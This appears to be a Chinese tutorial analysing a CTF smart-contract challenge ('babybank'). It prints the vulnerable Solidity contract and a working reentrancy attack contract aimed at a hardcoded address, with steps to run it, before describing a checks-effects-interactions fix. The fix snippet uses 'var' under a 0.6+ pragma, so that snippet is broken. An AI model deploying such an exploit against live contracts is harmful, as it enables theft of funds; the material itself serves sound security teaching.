下面是样例合约的完整代码:
pragma solidity ^0.4.23;
contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
}
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
//challenge 1
function profit() public{
require(level[msg.sender]==0);
require(uint(msg.sender) & 0xffff==0xb1b1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}
//challenge 2
function set_secret(uint new_secret) public onlyOwner{
secret=new_secret;
}
function guess(uint guess_secret) public{
require(guess_secret==secret);
require(level[msg.sender]==1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}
//challenge 3
function transfer(address to, uint amount) public{
require(balance[msg.sender] >= amount);
require(amount==2);
require(level[msg.sender]==2);
balance[msg.sender] = 0;
balance[to] = amount;
}
function withdraw(uint amount) public{
require(amount==2);
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
}
}
由于我们主要是要分析它可能会受到攻击的点,所以不用太关心上面样例合约的业务流程,大体可以看看它的功能块:
看完它的功能点,其实我们也可大致理解该样例合约的意义:访问合约的账户想要得到flag,但要确保其账户的奖励点要超过10000000000;但这些账户想要获得奖励点,就只能通过3大挑战:
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
上一行可能导致重入攻击,下一行则可能导致整形下溢出。
首先我们看利用call调用引用的重入攻击:
再看整形下溢出攻击:
下面则利用重入漏洞进行攻击的一份经典攻击合约代码:
pragma solidity ^0.4.24;
interface BabybankInterface {
function withdraw(uint256 amount) external;
function profit() external;
function guess(uint256 number) external;
function transfer(address to, uint256 amount) external;
function payforflag(string md5ofteamtoken, string b64email) external;
}
contract attack {
BabybankInterface private bank = BabybankInterface(0x3E44E3d7Ecf4500179a132B8dD3FeC182Ed4a1F4);
bool flag = false;
function() external payable{
require(flag==false);
flag=true;
bank.withdraw(2);
}
function att() public {
bank.withdraw(2);
}
}
具体的攻击手法:利用末位地址为b1b1结尾的那个账号调用transfer函数,把2块钱转到我们这个攻击合约上。
然后攻击合约再调用att(),实施攻击;这个攻击可以直接在Remix上进行:
在以太坊的官方文档里,有这么两句话:任何从合约 A 到合约 B 的交互以及任何从合约 A 到合约 B 的 以太币Ether 的转移,都会将控制权交给合约 B。 这使得合约 B 能够在交互结束前回调 A 中的代码。
以太坊这样设计初衷估计是:合约A请求合约B的服务,很可能会牵涉到以太币的支付、退回或转移;这就需要有种方式,让合约A来承接本属于自己的币,并做相应的处理;因此就有了上述的fallback机制。
但这个机制就带来了一个重入的漏洞:在以太坊智能合约中,进行转账等操作,一旦向被攻击者劫持的合约地址发起转账操作,迫使执行攻击合约的回调函数,回调函数中包含回调自身代码,将会导致代码执行“重新进入”被劫持合约;这种合约漏洞,就被称为“重入漏洞”。利用该漏洞实施的攻击,就是重入攻击。前面利用withdraw()的例子就是此类攻击。
这个fallback机制实现就在fallback函数上。下面是该函数的官方解释:
从官方解释我们可以抽取到该函数的几个关键特点:
但这也给攻击者留下了漏洞!下面我们再进一步厘清上面攻击例子的过程:
这里还有个知识点要注意:目标合约使用 call 发送以太币时,默认提供所有剩余 gas;如果只有 2300 gas 供攻击合约使用,是不足以完成重入攻击的。执行重入攻击前,需要确认目标合约有足够的以太币来向我们多次转账。如果目标合约没有 payable 的 fallback函数,则可以新建一个合约,通过 selfdestruct 自毁强制向目标合约转账。
最后,我们还应看到以太坊转移的几种方式:
正是因为call没有gas的限制,所以可以被用来实施重入攻击。
官方文档建议采用”检查-生效-交互“的编程模式:
pragma solidity >=0.6.0 <0.9.0;
contract Fund {
/// 合约中 |ether| 分成的映射。
mapping(address => uint) shares;
/// 提取你的分成。
function withdraw() public {
var share = shares[msg.sender];
shares[msg.sender] = 0;
payable(msg.sender).transfer(share);
}
}
除此之外,我们还可以采用以下的方法: